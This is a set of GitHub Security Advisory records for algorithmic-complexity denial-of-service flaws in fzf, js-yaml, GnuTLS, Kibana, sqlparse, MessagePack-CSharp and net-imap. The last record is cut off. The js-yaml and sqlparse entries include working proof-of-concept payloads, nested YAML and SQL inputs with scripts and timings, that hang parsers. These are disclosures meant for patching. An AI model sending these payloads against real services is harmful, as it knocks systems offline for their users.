CWE-407

{
  "affected": [],
  "aliases": [
    "CVE-2026-53433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T13:19:13Z",
    "severity": "MODERATE"
  },
  "details": "fzf is vulnerable to a Denial of Service (DoS) due to inefficient HTTP body processing in the --listen mode due to inefficient HTTP body processing using repeated string concatenation, resulting in quadratic time complexity (O(n\u00b2)). A crafted POST request with many small segments can trigger excessive CPU usage during request handling.This allows a single malicious request to monopolize the single\u2011threaded HTTP server, blocking all other clients and resulting in denial of service.\n\nThis issue was fixed in version 0.73.1.",
  "id": "GHSA-mvmf-94v6-879g",
  "modified": "2026-07-02T21:32:10Z",
  "published": "2026-06-30T15:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf/commit/7963a2c6586c0b9eaa89b8995de8f0e08cf8a4ce"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/06/CVE-2026-53432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junegunn/fzf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:47:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nParsing a small YAML document can take exponential time. An application that calls `load()` or `loadAll()` on untrusted input can be hung by a payload under 200 bytes.\n\n### Details\nWhen an entry in a flow sequence turns out to be a `key: value` pair, the parser rewinds and parses that entry a second time as the key.\nIf the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default `maxDepth` of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.\n\nRoot cause, potentially the: `readFlowCollection` in [parser.ts](https://github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts), the `restoreState` followed by a second `parseNode` further down.\n\n\n### PoC\n\n```javascript\nconst yaml = require(\u0027js-yaml\u0027)\nconst n = 30\nyaml.load(\u0027[ \u0027.repeat(n) + \u00271\u0027 + \u0027 ]: 0\u0027.repeat(n))\n```\n\nWith default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with `n`.\n\n### Impact\nDenial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.",
  "id": "GHSA-pm4m-ph32-ghv5",
  "modified": "2026-08-13T17:47:36Z",
  "published": "2026-07-24T16:47:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: Exponential parsing time in flow collections leads to denial of service"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-14831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-09T15:16:09Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).",
  "id": "GHSA-pm8w-jq9r-x5rp",
  "modified": "2026-06-30T00:31:28Z",
  "published": "2026-02-09T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14831"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gnutls/gnutls/-/issues/1773"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14831"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:8748"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:8747"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:8746"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7477"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7335"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7329"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6738"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6737"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6630"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:6618"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5606"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5585"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4943"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4655"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4188"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3477"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33125"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30850"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30849"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25096"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16174"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16009"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16008"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-72663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T20:17:26Z",
    "severity": "MODERATE"
  },
  "details": "Inefficient Algorithmic Complexity (CWE-407) in Kibana can lead to denial of service via Input Data Manipulation (CAPEC-153). A specially crafted, deeply nested expression submitted to a Kibana TSVB visualization is evaluated with a worst-case cost that grows disproportionately with the size of the input. Because the evaluation runs synchronously, a single request consumes the Kibana request-processing thread indefinitely, and Kibana stops responding to all further requests until the service is restarted.",
  "id": "GHSA-pw35-6253-9877",
  "modified": "2026-08-13T21:36:09Z",
  "published": "2026-08-13T21:36:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72663"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-19-20-and-9-4-5-security-update-esa-2026-104/389520"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:49:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = \u0027tokens\u0027\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n        super().__init__(None, str(self))   # \u2190 O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return \u0027\u0027.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` \u2192 `engine/grouping.py:group` \u2192 `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django\u0027s `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = \u0027OK\u0027\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = \u0027CAP\u0027\n    except TimeoutError:\n        status = \u0027TIMEOUT\u0027\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f\u0027  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)\u0027)\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = \u0027SELECT \u0027 + \u0027(\u0027 * n + \u00271\u0027 + \u0027)\u0027 * n\n    measure(f\u0027nested-paren n={n}\u0027, sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = \u00271\u0027\n    for i in range(n):\n        case = f\u0027CASE WHEN x={i} THEN {case} ELSE NULL END\u0027\n    measure(f\u0027CASE-nested n={n}\u0027, f\u0027SELECT {case} FROM t\u0027, sqlparse.parse)\n```\n\nOutput on the reporter\u0027s machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method \u0027join\u0027 of \u0027str\u0027 objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route(\u0027/parse\u0027, methods=[\u0027POST\u0027])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({\u0027ok\u0027: False, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027error\u0027: str(e)}), 400\n\n@app.route(\u0027/format\u0027, methods=[\u0027POST\u0027])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case=\u0027upper\u0027)\n    return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027len\u0027: len(formatted)})\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u0027127.0.0.1\u0027, port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 \u2014 uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request \u2192 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` \u2192 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children\u0027s already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children\u0027s `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children\u0027s already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, \u0027\u0027.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` \u2192 `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).",
  "id": "GHSA-pwgv-4x5q-6m9f",
  "modified": "2026-08-17T17:49:47Z",
  "published": "2026-08-17T17:49:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.301"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T21:29:39Z",
    "nvd_published_at": "2026-06-22T22:16:48Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`InterfaceLookupFormatter\u003cTKey,TElement\u003e` constructs an internal `Dictionary\u003cTKey, IGrouping\u003cTKey,TElement\u003e\u003e` with the default equality comparer instead of the security-aware comparer supplied by `options.Security.GetEqualityComparer\u003cTKey\u003e()`.\n\nOther hash-based collection formatters use the security-aware comparer when `MessagePackSecurity.UntrustedData` is configured. This formatter omission allows hash-collision CPU denial of service against `ILookup\u003cTKey,TElement\u003e` even when the application has opted into the untrusted-data security posture.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads into schemas containing `ILookup\u003cTKey,TElement\u003e` with a key type for which attacker-controlled hash collisions are feasible.\n\nUnder the default comparer, many colliding keys can degrade dictionary insertion from amortized constant time to quadratic behavior. A payload of colliding keys can consume CPU for a disproportionate amount of time. This bypasses the mitigation that developers intentionally enabled by using `MessagePackSecurity.UntrustedData`.\n\n## Affected components\n\n- Package: `MessagePack`\n- API: `InterfaceLookupFormatter\u003cTKey,TElement\u003e.Create`\n- Data type: `ILookup\u003cTKey,TElement\u003e`\n- Finding ID: `MESSAGEPACKCSHARP-041`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should create the internal dictionary with `options.Security.GetEqualityComparer\u003cTKey\u003e()`, matching the sibling dictionary and lookup formatter behavior.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid exposing `ILookup\u003cTKey,TElement\u003e` in DTOs that deserialize untrusted data. Use collection shapes that are already protected by the security-aware comparer path, or validate and cap collection sizes at the transport boundary.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-041`: `InterfaceLookupFormatter` missing security comparer\n- CWE-407: Inefficient Algorithmic Complexity",
  "id": "GHSA-q2h6-ghwm-5qm8",
  "modified": "2026-06-25T21:29:40Z",
  "published": "2026-06-25T21:29:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-q2h6-ghwm-5qm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48516"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: InterfaceLookupFormatter bypasses collision-resistant comparer settings"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.3"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.13"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.23"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:02:56Z",
    "nvd_published_at": "2026-05-09T20:16:28Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Net::IMAP::ResponseReader` has quadratic time complexity when reading large responses containing many string literals.  A hostile server can send responses which are crafted to exhaust the client\u0027s CPU for a denial of service attack.\n\n### Details\n\nFor each literal in a response, `ResponseReader` rescans the entire growing response buffer.  The regular expression that is used to scan the response buffer runs in linear time.  With many literals, this becomes O(n\u00b2) total work.  The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.\n\nBecause the algorithmic complexity is super-linear, this bypasses protection from `max_response_size`: a response can stay well below the default size limit while still causing very large CPU cost.\n\n`Net::IMAP::ResponseReader` runs continuously in the receiver thread until the connection closes.\n\n### Impact\n\nThis consumes disproportionate CPU time in the client\u0027s receiver thread.  A hostile server could use this to exhaust the client\u0027s CPU for a denial of service attack.\n\nFor a response near the default `max_response_size`, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response.  While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.\n\nAlthough other threads should not be _completely_ blocked, their run time will be significantly impacted.\n\n### Mitigation\n\n* Upgrade to a patched version of net-imap that reads responses more efficiently.\n* Do not connect to untrusted IMAP servers.\n* When connecting to untrusted servers, a _much_ smaller `max_response_size` (for example: 8KiB) will limit the impact.  Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.",
  "id": "GHSA-q2mw-fvj9-vvcw",
  "modified": "2026-05-14T20:48:14Z",
  "published": "2026-05-04T22:02:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/6091f7d6b1f3514cafbfe39c76f2b5d73de3ca96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/88d95231fc8afef11c1f074453f7d75b68c9dfda"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42245.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "net-imap has quadratic complexity when reading response literals"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.26.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "hickory-proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.1"
            },
            {
              "fixed": "0.26.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:59:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
